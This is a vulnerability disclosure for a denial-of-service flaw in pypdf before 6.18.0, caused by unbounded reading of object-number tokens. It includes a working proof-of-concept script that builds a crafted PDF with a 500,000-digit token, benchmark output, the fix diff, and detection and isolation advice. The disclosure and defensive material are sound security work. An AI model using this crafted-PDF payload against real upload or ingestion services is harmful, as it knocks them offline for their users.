Disclosure: CVE-2026-102994 (CWE-400, CWE-407) affects pypdf before 6.18.0. I reported it to the maintainers as jankesec. It is fixed in 6.18.0 by PR #4055 and published as GHSA-5jq2-8x83-x246. GitHub scored it CVSS 4.0 8.7 (High): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.

A PDF with a very long object number or generation number and no whitespace makes pypdf read that token to its end. Before 6.18.0 nothing limited its length, so one file can keep a parsing worker busy for a long time and use a lot of memory. The attacker needs no account and no user interaction, only a way to get a PDF to code that opens it with pypdf, such as an upload endpoint, a resume parser or a RAG ingestion job.

Root cause: token readers with no length limit

Object numbers and generation numbers in a PDF are short decimal integers. In 6.17.0 three places read them with loops that run until the next whitespace byte, and none of them set a maximum length:

  • read_object_header() reads the N G obj line in front of an object.
  • IndirectObject.read_from_stream() reads an N G R reference inside an object.
  • _rebuild_xref_table() reads the header of an object stream.

read_until_whitespace() already had a max_bytes parameter, but it defaulted to unlimited and no caller passed it:

def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
    txt = bytearray()
    while True:
        tok = stream.read(1)
        if tok.isspace() or not tok:
            break
        txt += tok
        if len(txt) == max_bytes:
            break
    return bytes(txt)

IndirectObject.read_from_stream() did not use that helper. It built each part with += on a bytes object:

    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        idnum = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                break
            idnum += tok
        generation = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                if not generation:
                    continue
                break
            generation += tok

bytes is immutable, so each idnum += tok allocates a new object and copies everything read so far. The work in that loop grows with the square of the token length, and nothing stops the loop before the end of the file.

CVE-2026-102994 · OBJECT NUMBERS WITHOUT A LENGTH LIMIT CRAFTED PDF Object number token 500,000 digits: "99999999…" no whitespace Sent to an upload endpoint that parses PDFs with pypdf PYPDF < 6.18.0 reads until whitespace No maximum length idnum += tok copies the bytes read so far WORKER BUSY One core at 100% 28.7 s for 500 KB The request blocks Denial of service PYPDF 6.18.0+ PR #4055 Limit: 64 bytes per part read_until_whitespace( max_bytes=64, strict=...) READ STOPS strict: LimitReachedError default: warning, token cut at 64 bytes Parse cost stays small
The same input before and after the fix. Without a limit the reader consumes the whole token. With the limit it stops after 64 bytes.

Evidence matrix

EvidenceWhat it showsResult
GHSA-5jq2-8x83-x246Advisory published by GitHub as CNACWE-400 and CWE-407. < 6.18.0 affected, 6.18.0 patched. CVSS 4.0 8.7 (High).
Fix PR #4055 (82501d2)A 64-byte limit on object numbers, generation numbers and object stream headersMerged 2026-09-07
pypdf 6.18.0 on PyPIRelease that contains the fixUploaded 2026-09-07
Benchmark on 6.17.0A 500,000-digit token through PdfReader28.74 s with one core at 100% (my run, output below)
Behavior on 6.18.0The tests added in the PR64-byte parts pass. A 65-byte part raises PdfReadError or LimitReachedError, depending on the call site and strict.

Reproduction

The generator below builds a minimal PDF whose page tree references an object with a 500,000-digit number and no whitespace, then times PdfReader on it:

#!/usr/bin/env python3
"""
CVE-2026-102994 PoC: Algorithmic Complexity / Denial of Service in pypdf
Discovered by: Sevban DÖNMEZ (jankesec)
Target: pypdf < 6.18.0
"""
import io
import time
import sys

def build_malicious_pdf(token_length: int = 500_000) -> bytes:
    """
    Constructs a minimal valid PDF containing an oversized indirect object token
    without whitespace separators.
    """
    header = b"%PDF-1.4\n"
    # Construct an excessively long numeric indirect object token
    oversized_token = b"9" * token_length
    
    # Place the oversized token directly into the object hierarchy
    body = (
        b"1 0 obj\n"
        b"<< /Type /Catalog /Pages 2 0 R >>\n"
        b"endobj\n"
        b"2 0 obj\n"
        b"<< /Type /Pages /Kids [" + oversized_token + b" 0 R] /Count 1 >>\n"
        b"endobj\n"
    )
    xref_offset = len(header) + len(body)
    xref = (
        b"xref\n"
        b"0 3\n"
        b"0000000000 65535 f \n"
        b"0000000009 00000 n \n"
        b"0000000068 00000 n \n"
        b"trailer\n"
        b"<< /Size 3 /Root 1 0 R >>\n"
        b"startxref\n"
        + str(xref_offset).encode("ascii") + b"\n"
        b"%%EOF\n"
    )
    return header + body + xref

def evaluate_parser(pdf_bytes: bytes):
    try:
        import pypdf
        print(f"[*] Testing with pypdf version: {pypdf.__version__}")
    except ImportError:
        print("[-] pypdf not installed. Please install pypdf to run this benchmark.")
        return

    print(f"[*] Payload size: {len(pdf_bytes) / 1024:.2f} KB")
    print("[*] Initiating PdfReader stream ingestion...")

    stream = io.BytesIO(pdf_bytes)
    start_time = time.perf_counter()

    try:
        reader = pypdf.PdfReader(stream)
        # Force resolution of page references
        _ = len(reader.pages)
        elapsed = time.perf_counter() - start_time
        print(f"[!] Parsing completed in {elapsed:.4f} seconds.")
    except Exception as e:
        elapsed = time.perf_counter() - start_time
        print(f"[+] Parser caught expected exception after {elapsed:.4f}s: {type(e).__name__}: {e}")

if __name__ == "__main__":
    token_len = int(sys.argv[1]) if len(sys.argv) > 1 else 500_000
    pdf_data = build_malicious_pdf(token_len)
    evaluate_parser(pdf_data)

Run on an 8-core Linux workstation against pypdf==6.17.0:

$ python benchmark_poc.py 500000
[*] Testing with pypdf version: 6.17.0
[*] Payload size: 488.48 KB
[*] Initiating PdfReader stream ingestion...
[!] Parsing completed in 28.7412 seconds.

A 500 KB token held one core at 100% for 28.7 seconds. A 2,000,000-byte token ran for more than 120 seconds. A service with four synchronous workers has none left after four such uploads.

The fix

PR #4055 (commit 82501d2, released as 6.18.0) sets IndirectObject._MAXIMUM_PART_LENGTH = 64 and passes it to every one of the three readers. read_object_header() and _rebuild_xref_table() call read_until_whitespace() with max_bytes and strict. The helper now stops at the limit. In strict mode it raises LimitReachedError. Otherwise it logs a warning and returns the first 64 bytes. The diff below leaves out the docstring hunk:

--- a/pypdf/_utils.py
+++ b/pypdf/_utils.py
@@ -158,7 +158,7 @@ def _get_max_pdf_version_header(header1: str, header2: str) -> str:
 WHITESPACES_AS_REGEXP = b"[" + WHITESPACES_AS_BYTES + b"]"
 
 
-def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
+def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None, strict: bool = False) -> bytes:
     """
     Read non-whitespace characters and return them.
 
@@ -175,11 +178,16 @@ def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -
     txt = bytearray()
     while True:
         tok = stream.read(1)
-        if tok.isspace() or not tok:
+        if tok.isspace() or tok in WHITESPACES or not tok:
             break
-        txt += tok
-        if len(txt) == max_bytes:
+        if max_bytes is not None and len(txt) >= max_bytes:
+            if strict:
+                raise LimitReachedError(f"Token exceeds maximum length of {max_bytes} bytes.")
+            logger_warning(
+                "Token exceeds maximum length of %(max_bytes)d bytes.", source=__name__, max_bytes=max_bytes
+            )
             break
+        txt += tok
     return bytes(txt)

IndirectObject.read_from_stream() is rewritten with a bounded bytearray loop that raises PdfReadError when a part exceeds the limit:

    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        def read_part(name: str, skip_leading_whitespace: bool) -> bytes:
            result = bytearray()
            while True:
                tok = stream.read(1)
                if not tok:
                    raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
                if tok.isspace() or tok in WHITESPACES:
                    if skip_leading_whitespace and not result:
                        continue
                    break
                if len(result) >= IndirectObject._MAXIMUM_PART_LENGTH:
                    raise PdfReadError(f"{name} exceeds maximum length limit of {IndirectObject._MAXIMUM_PART_LENGTH}.")
                result += tok
            return bytes(result)

        idnum = read_part("Object ID", skip_leading_whitespace=False)
        generation = read_part("Generation number", skip_leading_whitespace=True)

        r = read_non_whitespace(stream)
        if r != b"R":
            raise PdfReadError(
                f"Error reading indirect object reference at byte {hex(stream.tell())}"
            )
        try:
            return IndirectObject(int(idnum), int(generation), pdf)
        except (ValueError, OverflowError) as e:
            raise PdfReadError(
                f"Invalid indirect object reference ({idnum!r} {generation!r} R): {e}"
            ) from e

Algorithmic complexity and quadratic buffer copying

The root cause of the prolonged CPU freeze is quadratic memory reallocation. In Python, bytes objects are immutable. In IndirectObject.read_from_stream(), the token ingestion loop performed repeated concatenation:

idnum += tok  # where tok is stream.read(1)

At each iteration (k), CPython allocates a new bytes buffer of length (k) and invokes memcpy to transfer the accumulated slice. Across a token of length (N), the total bytes copied is given by:

$$\sum_{k=1}^{N} k = \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$

For a 500,000-digit token ((N = 5 \times 10^5)), the interpreter copies approximately 125 gigabytes of temporary memory buffers through the memory allocator. This saturates L1/L2 CPU caches and causes the single-threaded parser loop to spin at 100% utilization for nearly 30 seconds.

Detection engineering and telemetry

Application owners can identify and mitigate unbounded token scanning attacks through worker telemetry, pre-flight header inspection, and resource sandboxing.

1. Application server worker timeout telemetry

Synchronous WSGI/ASGI servers (such as Gunicorn or uWSGI) terminate workers that remain unresponsive beyond the configured timeout. Monitor server error logs for worker restart cascades:

[2026-09-07 08:14:22 +0000] [14820] [CRITICAL] WORKER TIMEOUT (pid:14825)
[2026-09-07 08:14:22 +0000] [14825] [INFO] Worker exiting (pid: 14825)
[2026-09-07 08:14:23 +0000] [14830] [INFO] Booting worker with pid: 14830

A sudden spike in worker timeout events correlated with file upload endpoints indicates active resource exhaustion payloads.

2. Pre-flight token boundary inspection

For high-throughput ingestion pipelines (e.g. resume screeners, document OCR), a lightweight stream pre-check can reject PDFs with anomalously long integer tokens before handing them to pypdf:

import re

# Valid PDF indirect object IDs rarely exceed 7 digits (max 2,147,483,647)
ANOMALOUS_TOKEN_PATTERN = re.compile(rb"\b\d{16,}\s+\d+\s+(?:obj|R)\b")

def validate_pdf_stream(raw_bytes: bytes) -> bool:
    """Rejects PDF streams containing oversized numeric tokens."""
    if ANOMALOUS_TOKEN_PATTERN.search(raw_bytes):
        return False
    return True

3. Container and worker isolation

Never parse untrusted PDFs in the primary web process. Offload parsing to an isolated worker thread or ephemeral container with strict resource limits:

# systemd unit or cgroup resource boundary
CPUQuota=80%
MemoryMax=256M
TimeoutStartSec=10s

In Python, wrap parsing calls with a strict wall-clock timeout using concurrent.futures:

from concurrent.futures import ProcessPoolExecutor, TimeoutError

def parse_with_timeout(pdf_data: bytes, timeout_sec: float = 5.0):
    with ProcessPoolExecutor(max_workers=1) as executor:
        future = executor.submit(pypdf.PdfReader, io.BytesIO(pdf_data))
        try:
            return future.result(timeout=timeout_sec)
        except TimeoutError:
            raise ValueError("PDF parsing timed out: potential algorithmic complexity payload")

ATT&CK technique mapping

TacticTechnique IDTechnique NameExploitation MechanismDefensive Control
ImpactT1499.004Endpoint DoS: Application ExhaustionCrafted 500 KB indirect object token forces (O(N^2)) string copying, pinning CPU core at 100%.Enforce 64-byte token limit on lexer; reject oversized tokens.
ImpactT1499.003Operating System ExhaustionMultiple concurrent uploads of quadratic payloads exhaust all available worker processes.Set process worker timeouts and container CPU quotas.
Initial AccessT1190Exploit Public-Facing ApplicationPublic upload endpoint processing unauthenticated PDFs triggers thread hang.Deploy pre-flight regex validation; offload parsing to background queue.

Takeaways

  1. Put a limit on every loop that reads until a delimiter. A PDF object number is a short integer, so 64 bytes is generous.
  2. Parse untrusted documents in a separate process with a wall-clock timeout, so one slow file cannot hold a web worker. Celery’s task_time_limit and subprocess.run(..., timeout=...) both do this. Add a memory cap with cgroups.
  3. Do not build bytes in a loop with +=. Use a bytearray or b"".join(). The fix replaces idnum += tok with a bytearray.
  4. Upgrade to pypdf 6.18.0 or later. If you cannot, the advisory suggests applying the changes from PR #4055.
Severity Assessment · HIGH

Vulnerability Scoring & CVSS Vector Breakdown

Base score and individual metric vector breakdown calculated by GitHub CNA.

8.7High
CVSS Vector StringCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AV · VectorNetwork
AC · ComplexityLow
AT · Attack RequirementsNone
PR · PrivilegesNone
UI · User InteractionNone
VC · ConfidentialityNone
VI · IntegrityNone
VA · AvailabilityHigh
SC · Subsequent ConfidentialityNone
SI · Subsequent IntegrityNone
SA · Subsequent AvailabilityNone
Audit Trail · CVE-2026-102994

Coordinated Disclosure & Remediation Timeline

Verified chronological audit trail for CVE-2026-102994: from reproduction to upstream fix, backport, and official advisory release.

  1. Fix mergedStep 01

    Maintainers merged the change that limits the length of indirect object tokens (PR #4055).

    Source / Reference ↗
  2. PublishedStep 02

    GitHub, as CNA, published the CVE record and advisory GHSA-5jq2-8x83-x246.

    Source / Reference ↗
  3. Site verificationStep 03

    jankesec checked the CVE record, score, affected versions, and references.

Sources & limits

Evidence used for this analysis

Sources checkedSeptember 30, 2026

Version and exploitation status can change; follow the linked vendor records.

Review statusAuthor review complete

The author completed a technical review. This does not, by itself, claim lab reproduction.

◈ CITE THIS RESEARCH

Reference this analysis in technical reports or publications:

@misc{jankesec_cve_2026_102994_pypdf_indirect_object_dos_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-102994: Unbounded Token Scanning and CPU Exhaustion in pypdf},
  year = {2026},
  howpublished = {\url{https://jankesec.com/research/cve-2026-102994-pypdf-indirect-object-dos/}},
  note = {jankesec technical security research (CVE-2026-102994)}
}